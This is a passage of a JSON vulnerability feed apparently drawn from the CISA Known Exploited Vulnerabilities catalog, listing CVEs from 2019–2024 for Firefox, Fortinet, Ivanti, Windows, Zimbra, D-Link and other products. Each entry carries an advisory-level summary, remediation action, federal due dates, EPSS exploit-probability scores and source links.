contain a use-after-free vulnerability in Animation timelines that allows for code execution in the content process.","detail":"CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-15","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Firefox","stacks":["Mozilla Firefox and Thunderbird","Mozilla","Firefox"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-15","dueAt":"2024-11-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23184,"percentile":0.97753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9680","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9680 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9680&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9680, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23113","cveId":"CVE-2024-23113","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Format String Vulnerability","summary":"Fortinet FortiOS, FortiPAM, FortiProxy, and FortiWeb contain a format string vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.","detail":"CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-09","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-09","dueAt":"2024-10-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61725,"percentile":0.99165,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23113","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23113 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9379","cveId":"CVE-2024-9379","aliases":[],"kind":"vulnerability","title":"Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability","summary":"Ivanti Cloud Services Appliance (CSA) contains a SQL injection vulnerability in the admin web console in versions prior to 5.0.2, which can allow a remote attacker authenticated as administrator to run arbitrary SQL statements.","detail":"CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.","publishedAt":"2024-10-09","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Cloud Services Appliance (CSA)","stacks":["Ivanti","Cloud Services Appliance (CSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-09","dueAt":"2024-10-30","action":"As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.44268,"percentile":0.9875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9379","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9379 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9380","cveId":"CVE-2024-9380","aliases":[],"kind":"vulnerability","title":"Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability","summary":"Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS.","detail":"CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.","publishedAt":"2024-10-09","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Cloud Services Appliance (CSA)","stacks":["Ivanti","Cloud Services Appliance (CSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-09","dueAt":"2024-10-30","action":"As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.58323,"percentile":0.9909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9380","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9380 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9380, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43047","cveId":"CVE-2024-43047","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Use-After-Free Vulnerability","summary":"Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services while maintaining memory maps of HLOS memory.","detail":"CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","publishedAt":"2024-10-08","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-08","dueAt":"2024-10-29","action":"Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00668,"percentile":0.51627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43047","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43047 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43572","cveId":"CVE-2024-43572","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Management Console Remote Code Execution Vulnerability","summary":"Microsoft Windows Management Console contains unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-08","dueAt":"2024-10-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66695,"percentile":0.99285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43572","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43572 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43573","cveId":"CVE-2024-43573","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Spoofing Vulnerability","summary":"Microsoft Windows MSHTML Platform contains an unspecified spoofing vulnerability which can lead to a loss of confidentiality.","detail":"CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-08","dueAt":"2024-10-29","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.46109,"percentile":0.98801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43573","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43573 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43573, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-45519","cveId":"CVE-2024-45519","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Command Execution Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains an unspecified vulnerability in the postjournal service that may allow an unauthenticated user to execute commands.","detail":"CISA added this entry on 2024-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-03","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-03","dueAt":"2024-10-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99907,"percentile":0.99967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-45519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-45519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-45519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-29824","cveId":"CVE-2024-29824","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability","summary":"Ivanti Endpoint Manager (EPM) contains a SQL injection vulnerability in Core server that allows an unauthenticated attacker within the same network to execute arbitrary code.","detail":"CISA added this entry on 2024-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-02","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager (EPM)","stacks":["Ivanti","Endpoint Manager (EPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-02","dueAt":"2024-10-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99938,"percentile":0.99972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-29824","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-29824 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-29824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0344","cveId":"CVE-2019-0344","aliases":[],"kind":"vulnerability","title":"SAP Commerce Cloud Deserialization of Untrusted Data Vulnerability","summary":"SAP Commerce Cloud (formerly known as Hybris) contains a deserialization of untrusted data vulnerability within the mediaconversion and virtualjdbc extension that allows for code injection.","detail":"CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-30","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"Commerce Cloud","stacks":["SAP","Commerce Cloud"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-30","dueAt":"2024-10-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07469,"percentile":0.94426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0344","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0344 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-15415","cveId":"CVE-2020-15415","aliases":[],"kind":"vulnerability","title":"DrayTek Multiple Vigor Routers OS Command Injection Vulnerability","summary":"DrayTek Vigor3900, Vigor2960, and Vigor300B devices contain an OS command injection vulnerability in cgi-bin/mainfunction.cgi/cvmcfgupload that allows for remote code execution via shell metacharacters in a filename when the text/x-python-script content type is used.","detail":"CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-30","updatedAt":null,"regions":["Global"],"vendor":"DrayTek","product":"Multiple Vigor Routers","stacks":["DrayTek","Multiple Vigor Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-30","dueAt":"2024-10-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8448,"percentile":0.99698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-15415","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-15415 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-15415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-25280","cveId":"CVE-2023-25280","aliases":[],"kind":"vulnerability","title":"D-Link DIR-820 Router OS Command Injection Vulnerability","summary":"D-Link DIR-820 routers contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.","detail":"CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-09-30","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-820 Router","stacks":["D-Link","DIR-820 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-30","dueAt":"2024-10-21","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97864,"percentile":0.99908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-25280","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-25280 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-25280, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7593","cveId":"CVE-2024-7593","aliases":[],"kind":"vulnerability","title":"Ivanti Virtual Traffic Manager Authentication Bypass Vulnerability","summary":"Ivanti Virtual Traffic Manager contains an authentication bypass vulnerability that allows a remote, unauthenticated attacker to create a chosen administrator account.","detail":"CISA added this entry on 2024-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-24","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Virtual Traffic Manager","stacks":["Ivanti","Virtual Traffic Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-24","dueAt":"2024-10-15","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7593","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7593 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7593, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8963","cveId":"CVE-2024-8963","aliases":[],"kind":"vulnerability","title":"Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability","summary":"Ivanti Cloud Services Appliance (CSA) contains a path traversal vulnerability that could allow a remote, unauthenticated attacker to access restricted functionality. If CVE-2024-8963 is used in conjunction with CVE-2024-8190, an attacker could bypass admin authentication and execute arbitrary commands on the appliance.","detail":"CISA added this entry on 2024-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive security updates.","publishedAt":"2024-09-19","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Cloud Services Appliance (CSA)","stacks":["Ivanti","Cloud Services Appliance (CSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-19","dueAt":"2024-10-10","action":"As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive security updates.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98607,"percentile":0.99922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8963","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8963 catalog entry establishes known exploitation, date added, required action, and 